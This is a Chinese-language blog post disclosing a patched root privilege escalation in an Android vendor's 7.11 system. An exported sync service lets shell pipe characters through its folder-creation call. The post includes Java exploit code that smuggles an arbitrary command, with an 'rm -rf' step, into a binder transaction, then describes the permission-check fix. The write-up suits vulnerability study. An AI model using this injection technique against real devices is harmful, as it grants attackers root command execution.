关注厂商系统安全,看我如何在某厂商 7.11上获取root权限(已经修复)

简介:

0x00 前言

国内手机厂商崛起,虽然用的是谷歌的android系统,但是大部分都会在框架层做很大的改动,他们的安全意识一般不够,因此系统漏洞非常多,一挖一大堆。某厂商在170721的时候发布了7.11的系统,那个时候导出了一个系统组件,系统校验不严格,导致我们可以提升到root权限并且执行任意代码,由于在170802版本的时候就已经修复了,也没什么价值了,所以我就把这个漏洞当例子,抛砖引玉。

0x01 漏洞起因(敏感词已经用xxxx代替)

组件导出

     <service android:exported="true" android:name="com.xxxxx.cloud.agent.gallery.GallerySyncAgent">
            <intent-filter>
                <action android:name="com.xxxxx.cloud.xxxxx_SYNC_MODULE"/>
                <category android:name="android.intent.category.default"/>
            </intent-filter>
        </service>

发现是个binder接口,可以通过AIDL远程调用里面的方法

onbind.png
class.png

createFolder里面特殊字符校验不严格,可以通过shell管道字符|绕过

比如,构造mkdir -p /data/local/tmp/mm | cmd 就可以绕过字符串过滤,并且在创建/data/local/tmp/mm的同时执行后面的cmd命令
createFolder.png

RUtils.RUtilsCmd执行的是root命令,宿主是一个系统服务,有严格的权限校验。

  1. 需要系统签名
  2. 需要权限声明: <uses-permission android:name="com.xxx.permission.RUTILCMD"/>
    rutils_checkpermission.png

0x02 漏洞利用

1、构造Intent bindService 到GallerySyncAgent 这个组件
2、通过shell 的| 字符,绕过命令校验,并且执行任意代码,构造字符串"/data/local/tmp/mm | rm -rf /data/local/tmp/mm | "+cmd 后面的cmd就是任意命令了

  
                boolean v2 = false;
                Parcel v0 = Parcel.obtain();
                Parcel v1 = Parcel.obtain();
                try {
                    v0.writeInterfaceToken("com.xxxx.cloud.agent.gallery.ISyncOcloud");
                    v0.writeString("/data/local/tmp/mm | rm -rf /data/local/tmp/mm | "+cmd);
                    binder.transact(15, v0, v1, 0);
                    v1.readException();
                    Log.e(TAG, "onServiceConnected: "+v1.readInt());
                    return v1.readInt() == 1 ?true : false;
                }
                catch(Throwable v3) {
                    v1.recycle();
                    v0.recycle();
                    throw v3;
                }

最后可以在uid=0(root) gid=0(root) groups=0(root) context=u:r:rutilsdaemon:s0这个进程里面执行任意命令

0x03 修复

加上了android:permission="xxxx.permission.xxxx_COMPONENT_SAFE 系统权限校验

      <service android:exported="true" android:name="com.xxxx.cloud.agent.gallery.GallerySyncAgent" android:permission="xxxx.permission.xxxx_COMPONENT_SAFE">
            <intent-filter>
                <action android:name="com.xxxx.cloud.xxxx_SYNC_MODULE"/>
                <category android:name="android.intent.category.default"/>
            </intent-filter>
        </service>

0x04 总结

这是一种非常经典的漏洞,在用AIDL设计跨进程通讯的时候,没有严格的校验,而且在过滤特殊字符的时候,没有严格过滤,最终一步步导致权限提升。

相关文章
|
11月前
|
安全 Linux
Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案
Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案
1018 1
|
23天前
|
网络协议 安全 Linux
linux系统安全及应用——端口扫描
linux系统安全及应用——端口扫描
35 0
|
1月前
|
监控 安全 Linux
Linux系统的防御从多个方面来保护系统安全
防火墙:使用防火墙软件如iptables或Firewalld来限制网络流量,保护系统免受恶意网络攻击。
|
安全 网络协议 Unix
Linux系统安全与应用
系统安全问题一直存在着,当系统往往出现安全漏洞的时候会对我们的系统运行有一定程度的影响,严重的话还会造成系统瘫痪等问题。
Linux系统安全与应用
|
安全 网络协议 算法
Linux系统安全及应用
⭐本文介绍⭐ 作为一种开放源代码的操作系统,Linux服务器以其安全,高效和稳定的显著优势而得以广泛应用。本文主要从账号安全控制、系统引导和登录控制的角度,介绍Linux系统安全优化的点点滴滴;还将介绍基于Linux环境的弱口令检测、网络扫描等安全工具的构建和使用,帮助管理员查找安全隐患,及时采取有针对性的防护措施。
Linux系统安全及应用
|
安全 关系型数据库 MySQL
Linux系统安全与应用(Centos7)(sudo)
Linux系统安全与应用(Centos7)(sudo)
316 0
|
缓存 网络协议 安全
Linux 系统安全及应用(账号安全和引导登录控制)(4)
1 账号安全基本措施 1.1 系统账号清理 1.1.1 将非登录用户的Shell设为/sbin/nologin 在我们使用Linux系统时,除了用户创建的账号之外,还会产生系统或程序安装过程中产生的许多其他账号,除了超级用户root外,其他账号都是用来维护系统运作的,一般不允许登录,常见的非登录用户有bin、adm、mail、lp、nobody、ftp等。 查看/etc/passwd 文件,可以看到多个程序用户。
153 0
|
存储 安全 算法
Linux 系统安全及应用(账号安全和引导登录控制)(3)
1 账号安全基本措施 1.1 系统账号清理 1.1.1 将非登录用户的Shell设为/sbin/nologin 在我们使用Linux系统时,除了用户创建的账号之外,还会产生系统或程序安装过程中产生的许多其他账号,除了超级用户root外,其他账号都是用来维护系统运作的,一般不允许登录,常见的非登录用户有bin、adm、mail、lp、nobody、ftp等。 查看/etc/passwd 文件,可以看到多个程序用户。
237 0
|
安全 Ubuntu Unix
Linux 系统安全及应用(账号安全和引导登录控制)(2)
1 账号安全基本措施 1.1 系统账号清理 1.1.1 将非登录用户的Shell设为/sbin/nologin 在我们使用Linux系统时,除了用户创建的账号之外,还会产生系统或程序安装过程中产生的许多其他账号,除了超级用户root外,其他账号都是用来维护系统运作的,一般不允许登录,常见的非登录用户有bin、adm、mail、lp、nobody、ftp等。 查看/etc/passwd 文件,可以看到多个程序用户。
171 0
|
安全 Shell Linux
Linux 系统安全及应用(账号安全和引导登录控制)(1)
1 账号安全基本措施 1.1 系统账号清理 1.1.1 将非登录用户的Shell设为/sbin/nologin 在我们使用Linux系统时,除了用户创建的账号之外,还会产生系统或程序安装过程中产生的许多其他账号,除了超级用户root外,其他账号都是用来维护系统运作的,一般不允许登录,常见的非登录用户有bin、adm、mail、lp、nobody、ftp等。 查看/etc/passwd 文件,可以看到多个程序用户。
335 0

热门文章

最新文章